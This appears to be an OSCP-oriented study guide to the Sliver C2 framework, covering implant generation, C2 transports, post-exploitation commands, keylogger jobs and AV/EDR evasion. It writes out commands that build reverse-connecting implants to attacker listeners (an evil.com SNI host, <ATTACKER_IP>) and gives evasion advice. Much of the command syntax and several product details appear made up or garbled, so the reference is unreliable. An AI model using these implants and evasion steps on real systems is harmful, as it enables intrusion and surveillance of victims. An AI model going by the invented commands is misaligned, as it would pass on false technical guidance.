Sliver C2 Framework
What is Sliver?
Sliver is an open-source cross-platform adversary simulation framework, widely regarded as one of the best free alternatives to Cobalt Strike. Written primarily in Go (Golang), Sliver enables red teamers and penetration testers to deploy implants on Windows, macOS, and Linux — all managed from a single console.
Key characteristics that make Sliver stand out:
- Open-source (MIT License) — fully auditable, no licensing cost
- Go-based — cross-compilation to any target platform from a single codebase; implants are single static binaries with zero runtime dependencies
- Actively developed — regular releases with new transport layers, evasion techniques, and job extensions
- Multi-protocol C2 — supports TCP, HTTPS, DNS, SMB, WireGuard, and more out of the box
- Job system — background tasks (keyloggers, screenshots, token manipulation) run as modular extensions
OSCP Relevance: While Sliver is not required for the OSCP exam, understanding its architecture and capabilities gives you a solid grasp of modern C2 concepts, AV evasion strategies, and post-exploitation workflows that translate directly to exam scenarios.
Architecture
Sliver follows a client-server-implant three-tier architecture:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Sliver Client │──────▶│ Sliver Server │──────▶│ Implant │
│ (CLI Console) │◀──────│ (C2 Listener) │◀──────│ (Target Host) │
└─────────────────┘ └──────────────────┘ └─────────────────┘
Operator UI C2 Backend Windows/macOS/Linux
Sliver Server (sliver-server)
- The C2 backend that listens for incoming implant connections
- Manages session state, job dispatch, and implant communication
- Runs as a standalone process (typically on your attack machine or VPS)
- Handles encryption, transport protocols, and implant registration
Sliver Client (sliver-client)
- The operator console — a rich CLI interface to interact with the server
- Connects to
sliver-serverover a secure channel - Provides tab completion, syntax highlighting, and interactive help
- All post-exploitation commands are issued through the client
Implants
- The deployed agent on the target system
- Available for Windows (x86/x64), macOS (x64/arm64), and Linux (x64/arm64)
- Compiled as static Go binaries — no
.NETruntime, no Python, no DLL dependencies - Supports reverse and bind connection modes
- Can be generated as executables, DLLs, scripts, or even stageless payloads
Installation and Setup
Prerequisites
Sliver requires Go 1.20+ and Node.js 18+ (for the React-based UI, optional). The framework is distributed via GitHub releases or can be built from source.
Quick Install (Pre-built Binaries)
# Download the latest release
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-linux-amd64.tar.gz
tar -xzf sliver-linux-amd64.tar.gz
# The archive contains:
# sliver-server — C2 server binary
# sliver-client — operator console binary
# sliver-generate — implant generator binary
# sliver.releases — certificate and key files
Build from Source
git clone https://github.com/BishopFox/sliver.git
cd sliver
make build
First-Time Setup
# 1. Generate self-signed certificates (required for HTTPS/TLS transports)
./sliver-server --gen-certs
# 2. Start the server
./sliver-server
# 3. In a separate terminal, connect the client
./sliver-client -r 127.0.0.1:8888
On first run, sliver-server will generate:
ca.pem/ca.key— Certificate Authority filesserver.pem/server.key— Server certificate and key- These are used for mutual TLS authentication between server and implants
Implant Generation
The sliver-generate tool (or the generate command within the client) creates platform-specific implants with configurable transport options.
Via sliver-generate (CLI)
# Generate a Windows reverse TCP implant
./sliver-generate --platform windows --arch amd64 \
--transport tcp --reverse --listener 10.10.14.5:443 \
--output payload.exe
# Generate a macOS reverse HTTPS implant
./sliver-generate --platform darwin --arch amd64 \
--transport https --reverse --listener 10.10.14.5:443 \
--output payload_macos
# Generate a Linux reverse DNS implant
./sliver-generate --platform linux --arch amd64 \
--transport dns --reverse --listener 10.10.14.5:53 \
--output payload_linux
Via Sliver Client Console
# Within the sliver-client interactive console
sliver> generate --platform windows --arch amd64 --transport tcp --reverse --listener 10.10.14.5:443
# The implant binary is saved to the server's output directory
# Download it using:
sliver> download /path/to/payload.exe ./payload.exe
Generation Options Reference
| Option | Values | Description |
|---|---|---|
--platform |
windows, darwin, linux |
Target OS |
--arch |
amd64, arm64, 386 |
Target architecture |
--transport |
tcp, https, dns, smb, wireguard |
C2 transport protocol |
--reverse |
(flag) | Reverse connection (implant → server) |
--bind |
(flag) | Bind listener (server → implant) |
--listener |
IP:PORT |
C2 listener address |
--output |
path |
Output file path |
--name |
string |
Implant display name |
--jitter |
0-100 |
Connection jitter percentage |
--sleep |
seconds |
Default sleep interval |
Transport Options
Sliver supports multiple C2 transport protocols, each with distinct evasion and operational characteristics:
TCP (Default)
sliver> use transports/tcp
sliver> set Reverse true
sliver> set LHost 10.10.14.5
sliver> set LPort 443
sliver> execute
- Simple and reliable; easy to configure
- Detection risk: High — raw TCP on non-standard ports is easily flagged
- Mitigation: Use port 443 or 80 to blend with legitimate traffic
HTTPS (Recommended for Evasion)
sliver> use transports/https
sliver> set Reverse true
sliver> set LHost 10.10.14.5
sliver> set LPort 443
sliver> set Hostname evil.com # SNI/Host header
sliver> execute
- Traffic encrypted with TLS 1.2/1.3 by default
- Can impersonate legitimate domains via SNI and Host header
- Best option for AV/EDR evasion — traffic looks like normal HTTPS
- Supports profile-based obfuscation to mimic real website handshakes
DNS
sliver> use transports/dns
sliver> set Reverse true
sliver> set LHost 10.10.14.5
sliver> set LPort 53
sliver> set Domain sliver-c2.example.com
sliver> execute
- C2 data encoded in DNS queries (TXT, A, CNAME records)
- High evasion — DNS is rarely blocked or deeply inspected
- Limitation: Low bandwidth; slow for large file transfers
- Requires control of the DNS server or a DNS tunnel endpoint
SMB
sliver> use transports/smb
sliver> set Reverse true
sliver> set LHost 10.10.14.5
sliver> execute
- Uses SMB protocol for C2 communication
- Blends with internal Windows file-sharing traffic
- Useful in environments where SMB is allowed but HTTPS is restricted
WireGuard
sliver> use transports/wireguard
sliver> set Reverse true
sliver> set LHost 10.10.14.5
sliver> set LPort 51820
sliver> execute
- Establishes an encrypted WireGuard tunnel between implant and server
- Extremely strong encryption (ChaCha20-Poly1305)
- Operates at Layer 3 — all C2 traffic flows through the tunnel
- Advanced option — requires WireGuard setup knowledge
Encryption
Sliver uses strong encryption by default across all transport layers:
TLS Configuration
- Mutual TLS (mTLS) — both server and implant authenticate each other
- Self-signed CA generated on first run (
--gen-certs) - Supports custom certificates — bring your own CA for production use
- TLS 1.2 and TLS 1.3 supported
Certificate Management
# Generate new certificates
./sliver-server --gen-certs
# Use custom certificate
./sliver-server --cert /path/to/custom.pem --key /path/to/custom.key
# View current certificate info
sliver> cert info
Data Encryption
- All C2 communications encrypted in transit
- Implant-to-server and server-to-client channels are independently encrypted
- Session keys rotated periodically
- No plaintext C2 traffic — a significant advantage over basic Metasploit handlers
Sliver Console Commands and Features
Once connected to the server, the Sliver client provides a rich interactive console:
Session Management
# List active implants/sessions
sliver> sessions
# Interact with a specific session
sliver> interact 1
# Get session details
sliver> sessions -v
# Kill a session
sliver> kill 1
Reconnaissance Commands
# System information
sliver> sysinfo
# Network information
sliver> ipconfig
sliver> netstat
# Process listing
sliver> ps
# User information
sliver> whoami
sliver> getuid
File Operations
# Upload files to target
sliver> upload /local/path/linpeas.sh /tmp/linpeas.sh
# Download files from target
sliver> download /tmp/evidence.txt ./evidence.txt
# File system navigation
sliver> ls
sliver> cd /tmp
sliver> cat config.txt
Execution and Post-Exploitation
# Execute commands
sliver> shell whoami
sliver> execute /bin/bash -c "id"
# Spawn a full interactive shell
sliver> shell
# Run PowerShell (Windows)
sliver> powershell Get-Process
Job System
Sliver’s job system allows background tasks to run as modular extensions:
# List available jobs
sliver> jobs list
# Start a keylogger job
sliver> jobs start keylogger
# Start a screenshot job (Windows)
sliver> jobs start screenshot --interval 60
# Start a token listing job
sliver> jobs start token-list
# View running jobs
sliver> jobs
# Stop a job
sliver> jobs stop 1
Available Job Extensions
| Job | Platform | Description |
|---|---|---|
keylogger |
Windows, macOS | Captures keystrokes |
screenshot |
Windows, macOS, Linux | Periodic screen captures |
token-list |
Windows | Lists available access tokens |
token-impersonate |
Windows | Impersonates a specific token |
audit-log |
Windows | Monitors Windows event logs |
wiretap |
All | Network packet capture |
Sliver vs Cobalt Strike Comparison
| Feature | Sliver | Cobalt Strike |
|---|---|---|
| Cost | Free (MIT License) | ~$1,500+/year (commercial) |
| Source Code | Open-source | Closed-source |
| Language | Go (Golang) | Java (server) + C/Beacon |
| Platforms | Windows, macOS, Linux | Windows primarily (BEacon) |
| Transports | TCP, HTTPS, DNS, SMB, WireGuard | TCP, HTTPS, DNS, SMB, ICMP |
| Encryption | TLS 1.2/1.3, mTLS | TLS, custom encryption |
| Job System | Modular extensions | SOCKS proxy, remote ops |
| Malleable C2 | Profile-based (limited) | Full malleable C2 profiles |
| Team Server | Single server model | Team server + client model |
| Active Dev | Yes (Bishop Fox) | Yes (Advanced Policy) |
| Learning Curve | Moderate | Steep |
| OSCP Suitability | Excellent (free, legal) | Not available (paid, NDA) |
| Detection Risk | Moderate (known signatures) | Low (with proper profiles) |
When to Choose Sliver Over Cobalt Strike
- Budget constraints — Sliver is completely free
- Learning and training — open-source code helps understand C2 internals
- Cross-platform needs — first-class macOS and Linux support
- WireGuard transport — unique capability not in Cobalt Strike
- OSCP preparation — legal, accessible, and educationally valuable
Where Cobalt Strike Still Leads
- Malleable C2 profiles — more mature and flexible traffic shaping
- Social engineering toolkit — built-in spear-phishing and credential harvesting
- Marketplace — community-contributed scripts and extensions
- Enterprise features — better team collaboration and reporting
Sliver vs Metasploit Comparison
| Feature | Sliver | Metasploit Framework |
|---|---|---|
| Purpose | C2 / Post-exploitation | Exploitation + C2 |
| Architecture | Server + Client + Implant | Single framework (msfconsole) |
| Sessions | Persistent implants | Meterpreter sessions |
| Persistence | Built-in implant survival | Requires manual setup |
| Transport Options | 5+ protocols | Primarily TCP/HTTPS |
| Encryption | Strong TLS by default | Optional (needs config) |
| AV Evasion | Better (Go static binary) | Poor (well-known signatures) |
| Exploit Database | None (C2 only) | Massive exploit library |
| Scripting | Go extensions | Ruby modules |
| Learning Value | Modern C2 concepts | Exploitation fundamentals |
Key Insight: Metasploit excels at initial exploitation (finding and leveraging vulnerabilities), while Sliver excels at post-exploitation (maintaining access, moving laterally, and evading detection). For OSCP, you’ll primarily use Metasploit for exploitation and may use Sliver concepts to understand modern C2 behavior.
AV Evasion Capabilities
Sliver offers several mechanisms to evade antivirus and EDR solutions:
Go-Based Implant Advantages
- Static compilation — single binary with no external dependencies; no
.NETframework, no Python runtime, no DLL injection required - Cross-compilation — build Windows implants on Linux; the resulting binary is native and self-contained
- No signature-heavy frameworks — unlike Meterpreter (Ruby/.NET), Go binaries have fewer known signatures
- Custom build flags — strip debug info, randomize symbols, and control binary layout
# Generate with custom build flags for evasion
./sliver-generate --platform windows --arch amd64 \
--transport https --reverse --listener 10.10.14.5:443 \
--obfuscate --output clean_payload.exe
Evasion Techniques
| Technique | Description | Effectiveness |
|---|---|---|
| HTTPS transport | C2 traffic looks like normal web browsing | High |
| Domain fronting / SNI | Impersonate legitimate domains (Google, Microsoft) | High |
| Jitter | Randomize callback intervals to avoid pattern detection | Medium |
| Sleep masking | Use kernel APC or thread hijacking to hide sleep calls | High |
| Binary obfuscation | Strip symbols, randomize strings, control section names | Medium |
| Custom certificates | Use trusted CA-signed certs instead of self-signed | High |
| DNS transport | C2 over DNS — rarely inspected deeply | High (but slow) |
Limitations
- Sliver implants will be detected by modern EDR (CrowdStrike, SentinelOne, Defender for Endpoint) without additional packing
- For production red teaming, combine Sliver with custom packers or loader techniques
- On OSCP machines (typically basic AV), Sliver with HTTPS transport generally works well
Practical OSCP Relevance
Why Learn Sliver for OSCP?
- Free and legal C2 practice — no licensing barriers; perfect for home labs
- Understanding C2 concepts — implants, callbacks, sessions, jobs, transports
- Post-exploitation skills — file transfer, execution, pivoting, credential access
- AV evasion awareness — understanding why certain techniques work (or don’t)
- Cross-platform experience — practice on Windows, Linux, and macOS targets
OSCP Exam Considerations
- The OSCP exam environment typically runs basic antivirus (not enterprise EDR)
- Metasploit and manual techniques are the primary expected tools
- Sliver is not required but demonstrates advanced knowledge
- If using Sliver in the exam:
- Use HTTPS transport on port 443 for best evasion
- Generate implants before the exam starts (preparation time)
- Have a fallback plan — always keep Metasploit as backup
- Remember: the exam tests methodology, not tool proficiency
Recommended Lab Setup
# Attack machine (Kali Linux)
# 1. Install Sliver
wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-linux-amd64.tar.gz
tar -xzf sliver-linux-amd64.tar.gz
sudo cp sliver-* /usr/local/bin/
# 2. Generate certificates
sliver-server --gen-certs
# 3. Start server
sliver-server &
# 4. Connect client
sliver-client -r 127.0.0.1:8888
# 5. Generate implant for target
sliver> generate --platform windows --arch amd64 --transport https \
--reverse --listener <ATTACKER_IP>:443
Quick Reference Cheat Sheet
Server Commands:
sliver-server # Start C2 server
sliver-server --gen-certs # Generate TLS certificates
sliver-server --lhost 0.0.0.0 # Bind to all interfaces
Client Commands:
sliver-client -r IP:PORT # Connect to server
sessions # List active implants
interact <ID> # Switch to session
generate # Create new implant
upload /local /remote # Upload file to target
download /remote ./local # Download file from target
shell # Interactive shell
jobs list # Available job extensions
jobs start <name> # Start background job
exit # Disconnect client
Transport Quick-Start:
TCP: --transport tcp --listener IP:443
HTTPS: --transport https --listener IP:443 --hostname example.com
DNS: --transport dns --listener IP:53 --domain c2.example.com
Further Resources
- Official Repository: https://github.com/BishopFox/sliver
- Documentation: https://sliver.sh/
- Sliver Book (free): https://book.sliver.sh/
- YouTube Tutorials: Bishop Fox channel has excellent walkthroughs
- TryHackMe / HackTheBox: Sliver rooms for hands-on practice
Bottom Line for OSCP Students: Sliver is the best free C2 framework available today. While not required for the exam, learning Sliver gives you a deep understanding of modern C2 architecture, AV evasion concepts, and post-exploitation workflows that will serve you well beyond the certification.